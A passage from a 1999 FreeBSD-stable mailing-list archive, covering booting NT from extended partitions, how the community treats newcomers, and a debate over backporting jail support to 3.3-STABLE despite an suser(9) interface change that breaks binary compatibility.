, freebsd-stable@FreeBSD.ORG Subject: Re: disk partitions Message-ID: <3165821097.939468691@ripley.tavari.muc.de> In-Reply-To: <37FE23D7.7B7082DC@peregrine.com> Originator-Info: login-id=lutz; server=mail X-Mailer: Mulberry (Win32) [1.4.4, s/n U-301229] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG If memory serves me right, Eric Hedstrom said on 08.10.99, 10:03 -0700: > Tom Embt wrote: >> I've noticed the BSL documentation claims to be able to boot from >> extended partitions if the OS supports it. Does anyone know if this >> means Windows can indeed be tricked into doing this? If not, I must >> wonder what OS's _do_ support such a thing. I don't have the $$ to get >> a full version of it to play with. > > Linux, os/2, and windows NT will boot off extended partitions, for what > it's worth. Are you sure about NT ? If memory serves me right at least the first stages of a NT boot (ntdetect.com, ntldr and boot.ini) must be on primary partition. NT itself can reside on an extended partition. -- Lutz Albers, lutz@muc.de, pgp key available from Do not take life too seriously, you will never get out of it alive. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Oct 9 6: 3:20 1999 Delivered-To: freebsd-stable@freebsd.org Received: from blackhelicopters.org (geburah.blackhelicopters.org [209.69.178.18]) by hub.freebsd.org (Postfix) with ESMTP id 23EBB14ED7 for ; Sat, 9 Oct 1999 06:03:16 -0700 (PDT) (envelope-from mwlucas@blackhelicopters.org) Received: (from mwlucas@localhost) by blackhelicopters.org (8.9.3/8.9.3) id JAA33525; Sat, 9 Oct 1999 09:03:07 -0400 (EDT) (envelope-from mwlucas) From: Michael Lucas Message-Id: <199910091303.JAA33525@blackhelicopters.org> Subject: Re: Roasting Newbies In-Reply-To: <19991008130803.R41817@juniper.net> from Chris Parry at "Oct 8, 1999 1: 8: 3 pm" To: laotzu@juniper.net (Chris Parry) Date: Sat, 9 Oct 1999 09:03:07 -0400 (EDT) Cc: blk@skynet.be, stable@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm taking this message as an opportunity to respond to the scads of private mail I have received. I never thought a web page would produce more mail than I could answer. ;) I don't think it's that we're actively hostile to newbies. We're just sick of answering the same questions over and over again. To be honest, I don't want developers wasting their time answering questions about the OS. I want them coding. I'm going to use one particular developer as an example. No offense is intended here, I'm not trying to single anyone out. (Okay, to be honest, this developer writes some pretty good flames that stick in my memory. ;) We have a guy who writes NIC drivers. He writes good NIC drivers. He knows his shit. He's happy to help anyone who presents him with a solid, useful trouble report. The number of solid, useful trouble reports that this individual receives is, at a guess, roughly a tenth of the total number he receives. The remainder of the reports are useless. The person reporting the problem doesn't know any better, though. And there's a lot more of these than there are of us. If a developer takes the time to explain to said user how to submit a trouble report, that's all well and good. But I'd rather intercept these before they reach a developer, and point said newbie at a web page that says "This is how you submit a NIC driver report." Make the page very detailed. Show said newbie that they, too, can actually gather the necessary information to file a useful and sensible PR. By the time said developer checks his mail, I want him to see not only the trouble report, but the reply that says, "Check out http://..../nic-trouble-report.html" This would reduce the developer's blood pressure, and make the newbie more likely to stick with FreeBSD. Actually, I think I'm going to go dig through the mail archives. Surely we have a good email or two on how to submit a NIC report that could be turned into a decent web page. ==ml > I think all of these are very good ideas. Set out plenty of pointers to > self-help and it makes dealing with people that want to learn much easier. > I love to say 'man it' or goto freebsd.org and follow the links to > 'newbie' or something similar. It also makes sense to keep a few of the > lists closed, then the newbie flames are just averted right away. > > While many people in the FreeBSD community may have an anti-newbie > attitude I find it slightly annoying. It was like this when linux was > very young in '93, many folks flamed newbies that asked dumb questions, > while they rarely replied to any questions that were actually technical at > all nor consistently pointed them to self-help, that has changed and I > think linux is far better to start people off with, but we should still be > reasonable about treating folks curiosities with some respect. > > My $.02, > > -chris > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Oct 9 8: 2:36 1999 Delivered-To: freebsd-stable@freebsd.org Received: from gw.nectar.com (gw.nectar.com [209.98.143.44]) by hub.freebsd.org (Postfix) with ESMTP id 8A05514E5E for ; Sat, 9 Oct 1999 08:02:32 -0700 (PDT) (envelope-from nectar@nectar.com) Received: from bone.nectar.com (bone.nectar.com [10.0.0.105]) by gw.nectar.com (Postfix) with ESMTP id 29713C006 for ; Sat, 9 Oct 1999 10:02:32 -0500 (CDT) Received: from localhost (localhost [127.0.0.1]) by bone.nectar.com (Postfix) with ESMTP id 7BC7B1D87 for ; Sat, 9 Oct 1999 10:02:31 -0500 (CDT) To: freebsd-stable@freebsd.org Subject: merging current's jail functionality to stable From: Jacques Vidrine X-Mailer: Mew version 1.94 on XEmacs 21.1 (20 Minutes to Nikko) X-PGP-RSAfprint: 00 F9 E6 A2 C5 4D 0A 76 26 8B 8B 57 73 D0 DE EE X-PGP-RSAkey: http://www.nectar.com/nectar-rsa.txt X-PGP-DSSfprint: AB2F 8D71 A4F4 467D 352E 8A41 5D79 22E4 71A2 8C73 X-PGP-DHfprint: 2D50 12E5 AB38 60BA AF4B 0778 7242 4460 1C32 F6B1 X-PGP-DH-DSSkey: http://www.nectar.com/nectar-dh-dss.txt Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <19991009100231S.nectar@nectar.com> Date: Sat, 09 Oct 1999 10:02:31 -0500 X-Dispatcher: imput version 990905(IM130) Lines: 34 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello everyone, I have backported Poul-Henning Kamp's jail functionality to 3.3-STABLE (see http://www.nectar.com/freebsd/jail.html for the patches, man pages, and a short description of jail) at the request of several users. I intend to commit these to -STABLE in the near future, but PHK brought up a concern. These patches change the interface of suser(9). All uses of suser in the source tree have been updated, but 3rd-party KLDs, at least, would be broken by this change. I don't use any 3rd-part KLDs. I'd like to hear from folks who do. As I see it, there are these options: = Damn the binary compatibility. Go ahead and commit it. Inform any known vendors about the change and encourage them to make the trivial updates needed. = Wrap these changes with ``options JAIL''. There are over 130 files that would need ``#ifdef JAIL'' as it is. This could be reduced, but any way you slice it, a lot of pollutant would have to be introduced. = Don't commit it, it is too much trouble. = Use magic on the 3rd-party KLDs so that calls of suser are folded to suser_xxx. This can't be perfect, because we'll lose the accounting info parameter, but it might be better than breaking the binary. This latter option is very intriguing to me. I currently lack clue about KLDs however. I'll look at them this weekend. Any feedback would be welcome! Jacques Vidrine / n@nectar.com / nectar@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Oct 9 8:36:42 1999 Delivered-To: freebsd-stable@freebsd.org Received: from mail.scc.nl (node1374.a2000.nl [62.108.19.116]) by hub.freebsd.org (Postfix) with ESMTP id 205171509C for ; Sat, 9 Oct 1999 08:36:34 -0700 (PDT) (envelope-from freebsd-stable@scc.nl) Received: (from daemon@localhost) by mail.scc.nl (8.9.3/8.9.3) id RAA47951 for stable@FreeBSD.org; Sat, 9 Oct 1999 17:22:43 +0200 (CEST) (envelope-from freebsd-stable@scc.nl) Received: from GATEWAY by dwarf.hq.scc.nl with netnews for stable@FreeBSD.org (stable@FreeBSD.org) To: stable@FreeBSD.org Date: Sat, 09 Oct 1999 17:22:29 +0200 From: Marcel Moolenaar Message-ID: <37FF5DB5.E52985A2@scc.nl> Organization: SCC vof Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit References: <19991009100231S.nectar@nectar.com> Subject: Re: merging current's jail functionality to stable Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Jacques Vidrine wrote: > These patches change the interface of suser(9). All uses of > suser in the source tree have been updated, but 3rd-party KLDs, > at least, would be broken by this change. > > As I see it, there are these options: > = Damn the binary compatibility. Go ahead and commit it. > Inform any known vendors about the change and encourage > them to make the trivial updates needed. This is not an option. > = Wrap these changes with ``options JAIL''. There are over > 130 files that would need ``#ifdef JAIL'' as it is. This > could be reduced, but any way you slice it, a lot of pollutant > would have to be introduced. Too much impact. Defies the meaning of -stable. > = Don't commit it, it is too much trouble. My choice. > = Use magic on the 3rd-party KLDs so that calls of suser are > folded to suser_xxx. This can't be perfect, because we'll > lose the accounting info parameter, but it might be better > than breaking the binary. Introduces non-stability. Defies the meaning of -stable. -- Marcel Moolenaar mailto:marcel@scc.nl SCC Internetworking & Databases http://www.scc.nl/ The FreeBSD project mailto:marcel@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Oct 9 9: 6:59 1999 Delivered-To: freebsd-stable@freebsd.org Received: from gw.nectar.com (gw.nectar.com [209.98.143.44]) by hub.freebsd.org (Postfix) with ESMTP id A2F5214D3E for ; Sat, 9 Oct 1999 09:06:55 -0700 (PDT) (envelope-from nectar@nectar.com) Received: from bone.nectar.com (bone.nectar.com [10.0.0.105]) by gw.nectar.com (Postfix) with ESMTP id 5F421C006 for ; Sat, 9 Oct 1999 11:06:54 -0500 (CDT) Received: from bone.nectar.com (localhost [127.0.0.1]) by bone.nectar.com (Postfix) with ESMTP id 314441D87 for ; Sat, 9 Oct 1999 11:06:51 -0500 (CDT) X-Mailer: exmh version 2.0.2 2/24/98 X-PGP-RSAfprint: 00 F9 E6 A2 C5 4D 0A 76 26 8B 8B 57 73 D0 DE EE X-PGP-RSAkey: http://www.nectar.com/nectar-rsa.txt X-PGP-DSSfprint: AB2F 8D71 A4F4 467D 352E 8A41 5D79 22E4 71A2 8C73 X-PGP-DHfprint: 2D50 12E5 AB38 60BA AF4B 0778 7242 4460 1C32 F6B1 X-PGP-DH-DSSkey: http://www.nectar.com/nectar-dh-dss.txt From: Jacques Vidrine To: freebsd-stable@freebsd.org In-reply-to: <19991009100231S.nectar@nectar.com> References: <19991009100231S.nectar@nectar.com> Subject: Re: merging current's jail functionality to stable Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 09 Oct 1999 11:06:50 -0500 Message-Id: <19991009160651.314441D87@bone.nectar.com> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [[ replying to your own message is fun ]] On 9 October 1999 at 10:02, Jacques Vidrine wrote: [snip] > As I see it, there are these options: > = Damn the binary compatibility. Go ahead and commit it. > Inform any known vendors about the change and encourage > them to make the trivial updates needed. > = Wrap these changes with ``options JAIL''. There are over > 130 files that would need ``#ifdef JAIL'' as it is. This > could be reduced, but any way you slice it, a lot of pollutant > would have to be introduced. > = Don't commit it, it is too much trouble. > = Use magic on the 3rd-party KLDs so that calls of suser are > folded to suser_xxx. This can't be perfect, because we'll > lose the accounting info parameter, but it might be better > than breaking the binary. I forgot one more, which is probably the most desirable if there are a significant number of 3rd-party binaries to support: = Don't change suser, but bring in the rest of the changes needed for jail (add suser_xxx and update the 16 or so files that need the new semantics). This means that suser in -STABLE and -CURRENT are still different (as it is today), but it puts of breaking binary compatibility until 4.0-RELEASE. This didn't occur to me earlier, mostly because I would like the suser from -CURRENT to be merged into -STABLE. Strictly speaking, this isn't necessary to support jail. Jacques Vidrine / n@nectar.com / nectar@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Oct 9 9:12:32 1999 Delivered-To: freebsd-stable@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id BB97615210 for ; Sat, 9 Oct 1999 09:12:25 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p28-dn02kiryunisiki.gunma.ocn.ne.jp [210.163.200.125]) by peach.ocn.ne.jp (8.9.1a/OCN) with ESMTP id BAA10550; Sun, 10 Oct 1999 01:12:09 +0900 (JST) Message-ID: <37FF68EC.6A128A83@newsguy.com> Date: Sun, 10 Oct 1999 01:10:20 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Jacques Vidrine Cc: freebsd-stable@FreeBSD.ORG Subject: Re: merging current's jail functionality to stable References: <19991009100231S.nectar@nectar.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -Stable must be stable. Breaking interface is not acceptable if we want to attract and _keep_ 3rd-party developers. I'm not sure placing this stuff as an option is viable. We don't have "options" when compiling the kld modules, so how would they know if they should use the newer or the older interface? My take is: don't commit it to RELENG_3. -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org "I always feel generous when I'm in the inner circle of a conspiracy to subvert the world order and, with a small group of allies, just defeated an alien invasion. Maybe I should value myself a little more?" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Oct 9 9:48:33 1999 Delivered-To: freebsd-stable@freebsd.org Received: from megaweapon.zigg.com (megaweapon.zigg.com [206.114.60.8]) by hub.freebsd.org (Postfix) with ESMTP id 3708714BF3 for ; Sat, 9 Oct 1999 09:48:28 -0700 (PDT) (envelope-from matt@zigg.com) Received: from localhost (matt@localhost) by megaweapon.zigg.com (8.9.3/8.9.3) with ESMTP id MAA25259; Sat, 9 Oct 1999 12:48:23 -0400 (EDT) (envelope-from matt@zigg.com) Date: Sat, 9 Oct 1999 12:48:22 -0400 (EDT) From: Matt Behrens To: Jacques Vidrine Cc: freebsd-stable@FreeBSD.ORG Subject: Re: merging current's jail functionality to stable In-Reply-To: <19991009160651.314441D87@bone.nectar.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 9 Oct 1999, Jacques Vidrine wrote: : I forgot one more, which is probably the most desirable if there : are a significant number of 3rd-party binaries to support: : = Don't change suser, but bring in the rest of the changes needed : for jail (add suser_xxx and update the 16 or so files that need : the new semantics). This means that suser in -STABLE and -CURRENT : are still different (as it is today), but it puts of breaking : binary compatibility until 4.0-RELEASE. Is suser needed to properly support jail? Without suser being updated, will we have a hole in the implementation? Matt Behrens Owner/Administrator, zigg.com Chief Engineer, Nameless IRC Network To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Oct 9 10: 6:40 1999 Delivered-To: freebsd-stable@freebsd.org Received: from mail.scc.nl (node1374.a2000.nl [62.108.19.116]) by hub.freebsd.org (Postfix) with ESMTP id C760514C83 for ; Sat, 9 Oct 1999 10:06:34 -0700 (PDT) (envelope-from freebsd-stable@scc.nl) Received: (from daemon@localhost) by mail.scc.nl (8.9.3/8.9.3) id SAA69608 for stable@FreeBSD.org; Sat, 9 Oct 1999 18:51:28 +0200 (CEST) (envelope-from freebsd-stable@scc.nl) Received: from GATEWAY by dwarf.hq.scc.nl with netnews for stable@FreeBSD.org (stable@FreeBSD.org) To: stable@FreeBSD.org Date: Sat, 09 Oct 1999 18:51:20 +0200 From: Marcel Moolenaar Message-ID: <37FF7288.288EEBF6@scc.nl> Organization: SCC vof Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit References: <19991009100231S.nectar@nectar.com>, <19991009160651.314441D87@bone.nectar.com> Subject: Re: merging current's jail functionality to stable Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Jacques Vidrine wrote: > > [[ replying to your own message is fun ]] > = Don't change suser, but bring in the rest of the changes needed > for jail (add suser_xxx and update the 16 or so files that need > the new semantics). This means that suser in -STABLE and -CURRENT > are still different (as it is today), but it puts of breaking > binary compatibility until 4.0-RELEASE. > > This didn't occur to me earlier, mostly because I would like > the suser from -CURRENT to be merged into -STABLE. Strictly > speaking, this isn't necessary to support jail. To approach this from a different angle: How long will 3.x be -stable and can we afford to wait that long for jail to be a -stable feature? -- Marcel Moolenaar mailto:marcel@scc.nl SCC Internetworking & Databases http://www.scc.nl/ The FreeBSD project mailto:marcel@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Oct 9 10:29:24 1999 Delivered-To: freebsd-stable@freebsd.org Received: from neptune.psn.net (neptune.psn.net [207.211.58.16]) by hub.freebsd.org (Postfix) with ESMTP id EC115150D7 for ; Sat, 9 Oct 1999 10:29:17 -0700 (PDT) (envelope-from will@shadow.blackdawn.com) Received: from 5042-243.008.popsite.net ([209.224.140.243] helo=shadow.blackdawn.com) by neptune.psn.net with esmtp (PSN Internet Service 2.12 #3) id 11a0Iy-0007ez-00; Sat, 9 Oct 1999 10:29:13 -0700 Received: (from will@localhost) by shadow.blackdawn.com (8.9.3/8.9.3) id NAA20994; Sat, 9 Oct 1999 13:28:49 -0400 (EDT) (envelope-from will) Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <37FF7288.288EEBF6@scc.nl> Date: Sat, 09 Oct 1999 13:28:48 -0400 (EDT) Reply-To: Will Andrews From: Will Andrews To: Marcel Moolenaar Subject: Re: merging current's jail functionality to stable Cc: stable@FreeBSD.ORG Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > To approach this from a different angle: How long will 3.x be -stable > and can we afford to wait that long for jail to be a -stable feature? Despite my personal fervor for jail() to be committed to -STABLE (I know Jacques has been working on the backport for awhile), I think it's simply a matter of deciding whether or not the commit would meet the agenda of -STABLE. Since -STABLE must have binary compatability in order to support third-party vendors' binary programs (which were compiled with what is the current suser function), we cannot risk changing the suser() syscall and causing breaks in such vendors' programs. People who really want jail() on their -STABLE machines can, IMO, simply take Jacques' patch and patch it themselves (of course, unless they have the exact same release he's got, they're gonna have rejects all over the place ;). And also, of course, their work would get overwritten when/if they cvsup, but that's their own damn problem. ;) So, I say, leave it out of -STABLE until 4.0-CURRENT becomes -STABLE (probably February-March 2000?). Vendors have plenty of time until then to reimplement their suser()-dependent features. -- Will Andrews GCS/E/S @d- s+:+>+:- a--->+++ C++ UB++++ P+ L- E--- W+++ !N !o ?K w--- ?O M+ V-- PS+ PE++ Y+ PGP+>+++ t++ 5 X++ R+ tv+ b++>++++ DI+++ D+ G++>+++ e->++++ h! r-->+++ y? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Oct 9 11:30:20 1999 Delivered-To: freebsd-stable@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 8300514D9E for ; Sat, 9 Oct 1999 11:30:12 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id LAA52784; Sat, 9 Oct 1999 11:29:36 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199910091829.LAA52784@gndrsh.dnsmgr.net> Subject: Re: Roasting Newbies In-Reply-To: <199910091303.JAA33525@blackhelicopters.org> from Michael Lucas at "Oct 9, 1999 09:03:07 am" To: mwlucas@blackhelicopters.org (Michael Lucas) Date: Sat, 9 Oct 1999 11:29:35 -0700 (PDT) Cc: laotzu@juniper.net (Chris Parry), blk@skynet.be, stable@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I'm taking this message as an opportunity to respond to the scads of > private mail I have received. I never thought a web page would > produce more mail than I could answer. ;) ... good stuff about how to reduce developer work load and increase ... developer productivy read, loved, and deleted from reply. I've got a nice shinny cap sitting over here in the corner, the new painted words on it say ``Director of Newbie Relations'', would you care to dawn it and take the rains? -- Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Oct 9 11:51:16 1999 Delivered-To: freebsd-stable@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 0431C15951 for ; Sat, 9 Oct 1999 11:51:10 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id LAA52835; Sat, 9 Oct 1999 11:50:59 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199910091850.LAA52835@gndrsh.dnsmgr.net> Subject: Re: merging current's jail functionality to stable In-Reply-To: <37FF5DB5.E52985A2@scc.nl> from Marcel Moolenaar at "Oct 9, 1999 05:22:29 pm" To: marcel@scc.nl (Marcel Moolenaar) Date: Sat, 9 Oct 1999 11:50:59 -0700 (PDT) Cc: stable@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Jacques Vidrine wrote: > > > These patches change the interface of suser(9). All uses of > > suser in the source tree have been updated, but 3rd-party KLDs, > > at least, would be broken by this change. > > > > As I see it, there are these options: > > = Damn the binary compatibility. Go ahead and commit it. > > Inform any known vendors about the change and encourage > > them to make the trivial updates needed. > > This is not an option. I disagree, binary compatibility has continuously been broken in -stable, why is it now suddenly ``not an option''. We had to redoply 2 times during our attempt to beta test 3.3 due to changes in binary compatibility in less than a 14 day period!! -- Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Oct 9 11:51:24 1999 Delivered-To: freebsd-stable@freebsd.org Received: from blackhelicopters.org (geburah.blackhelicopters.org [209.69.178.18]) by hub.freebsd.org (Postfix) with ESMTP id A7DA115964 for ; Sat, 9 Oct 1999 11:51:16 -0700 (PDT) (envelope-from mwlucas@blackhelicopters.org) Received: (from mwlucas@localhost) by blackhelicopters.org (8.9.3/8.9.3) id OAA34226; Sat, 9 Oct 1999 14:50:58 -0400 (EDT) (envelope-from mwlucas) From: Michael Lucas Message-Id: <199910091850.OAA34226@blackhelicopters.org> Subject: Re: Roasting Newbies In-Reply-To: <199910091829.LAA52784@gndrsh.dnsmgr.net> from "Rodney W. Grimes" at "Oct 9, 1999 11:29:35 am" To: freebsd@gndrsh.dnsmgr.net (Rodney W. Grimes) Date: Sat, 9 Oct 1999 14:50:58 -0400 (EDT) Cc: laotzu@juniper.net, blk@skynet.be, stable@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > I'm taking this message as an opportunity to respond to the scads of > > private mail I have received. I never thought a web page would > > produce more mail than I could answer. ;) > > ... good stuff about how to reduce developer work load and increase > ... developer productivy read, loved, and deleted from reply. > > I've got a nice shinny cap sitting over here in the corner, the > new painted words on it say ``Director of Newbie Relations'', > would you care to dawn it and take the rains? Uh, I don't know... is it pointy? I've always wanted my very own pointy hat. Unfortunately, my code doesn't rate a pointy hat; at best, it rates pointed fingers and open snickering. Sure, what the hell. It can't go any worse than the Sparc port. ;-) ==ml To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Oct 9 12: 6:28 1999 Delivered-To: freebsd-stable@freebsd.org Received: from post.mail.nl.demon.net (post-11.mail.nl.demon.net [194.159.73.21]) by hub.freebsd.org (Postfix) with ESMTP id 6B3A514DF3 for ; Sat, 9 Oct 1999 12:06:24 -0700 (PDT) (envelope-from marcel@scc.nl) Received: from [212.238.132.94] (helo=scones.sup.scc.nl) by post.mail.nl.demon.net with esmtp (Exim 2.12 #1) id 11a1qC-0002sz-00; Sat, 9 Oct 1999 19:07:37 +0000 Received: from scc.nl (scones.sup.scc.nl [192.168.2.4]) by scones.sup.scc.nl (8.9.3/8.9.3) with ESMTP id VAA40110; Sat, 9 Oct 1999 21:06:17 +0200 (CEST) (envelope-from marcel@scc.nl) Message-ID: <37FF9229.655566A4@scc.nl> Date: Sat, 09 Oct 1999 21:06:17 +0200 From: Marcel Moolenaar Organization: SCC vof X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.5 i386) X-Accept-Language: en MIME-Version: 1.0 To: "Rodney W. Grimes" Cc: stable@FreeBSD.ORG Subject: Re: merging current's jail functionality to stable References: <199910091850.LAA52835@gndrsh.dnsmgr.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Rodney W. Grimes" wrote: > > > Jacques Vidrine wrote: > > > > > These patches change the interface of suser(9). All uses of > > > suser in the source tree have been updated, but 3rd-party KLDs, > > > at least, would be broken by this change. > > > > > > As I see it, there are these options: > > > = Damn the binary compatibility. Go ahead and commit it. > > > Inform any known vendors about the change and encourage > > > them to make the trivial updates needed. > > > > This is not an option. > > I disagree, binary compatibility has continuously been broken > in -stable, why is it now suddenly ``not an option''. We had > to redoply 2 times during our attempt to beta test 3.3 due to > changes in binary compatibility in less than a 14 day period!! The fact that it has been done before doesn't mean it's ok to do it again. Given the alternatives Jacques presented, breaking binary compatibility is totally unnecessary and therefore not an option. IMO, of course :-) -- Marcel Moolenaar mailto:marcel@scc.nl SCC Internetworking & Databases http://www.scc.nl/ The FreeBSD project mailto:marcel@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Oct 9 12: 7:55 1999 Delivered-To: freebsd-stable@freebsd.org Received: from gw.nectar.com (gw.nectar.com [209.98.143.44]) by hub.freebsd.org (Postfix) with ESMTP id D09CD14DF3 for ; Sat, 9 Oct 1999 12:07:53 -0700 (PDT) (envelope-from nectar@nectar.com) Received: from bone.nectar.com (bone.nectar.com [10.0.0.105]) by gw.nectar.com (Postfix) with ESMTP id AE4E9C006; Sat, 9 Oct 1999 14:07:52 -0500 (CDT) Received: from bone.nectar.com (localhost [127.0.0.1]) by bone.nectar.com (Postfix) with ESMTP id 14C771D87; Sat, 9 Oct 1999 14:07:52 -0500 (CDT) X-Mailer: exmh version 2.0.2 2/24/98 X-Exmh-Isig-CompType: repl X-Exmh-Isig-Folder: mlist/freebsd/stable X-PGP-RSAfprint: 00 F9 E6 A2 C5 4D 0A 76 26 8B 8B 57 73 D0 DE EE X-PGP-RSAkey: http://www.nectar.com/nectar-rsa.txt X-PGP-DSSfprint: AB2F 8D71 A4F4 467D 352E 8A41 5D79 22E4 71A2 8C73 X-PGP-DHfprint: 2D50 12E5 AB38 60BA AF4B 0778 7242 4460 1C32 F6B1 X-PGP-DH-DSSkey: http://www.nectar.com/nectar-dh-dss.txt From: Jacques Vidrine To: Matt Behrens Cc: freebsd-stable@FreeBSD.ORG In-reply-to: References: Subject: Re: merging current's jail functionality to stable Mime-Version: 1.0 Content-Type: text/plain Date: Sat, 09 Oct 1999 14:07:51 -0500 Message-Id: <19991009190752.14C771D87@bone.nectar.com> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 9 October 1999 at 12:48, Matt Behrens wrote: > Is suser needed to properly support jail? Without suser being > updated, will we have a hole in the implementation? No, see src/sys/kern_prot.c in -CURRENT for details. Anything that uses suser (rather than suser_xxx) does NOT grant superuser priviledges to jail'd processes, even where those process have uid == 0. The only way to grant jail'd process superuser priviledges is by calling suser_xxx instead of suser, and passing an explicit flag. That's done in about 28 places in the source tree. Jacques Vidrine / n@nectar.com / nectar@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Oct 9 12:17: 7 1999 Delivered-To: freebsd-stable@freebsd.org Received: from gw.nectar.com (gw.nectar.com [209.98.143.44]) by hub.freebsd.org (Postfix) with ESMTP id 5BE0714DF3 for ; Sat, 9 Oct 1999 12:17:04 -0700 (PDT) (envelope-from nectar@nectar.com) Received: from bone.nectar.com (bone.nectar.com [10.0.0.105]) by gw.nectar.com (Postfix) with ESMTP id 4185EC006; Sat, 9 Oct 1999 14:17:04 -0500 (CDT) Received: from bone.nectar.com (localhost [127.0.0.1]) by bone.nectar.com (Postfix) with ESMTP id F2E941D87; Sat, 9 Oct 1999 14:16:58 -0500 (CDT) X-Mailer: exmh version 2.0.2 2/24/98 X-Exmh-Isig-CompType: repl X-Exmh-Isig-Folder: mlist/freebsd/stable X-PGP-RSAfprint: 00 F9 E6 A2 C5 4D 0A 76 26 8B 8B 57 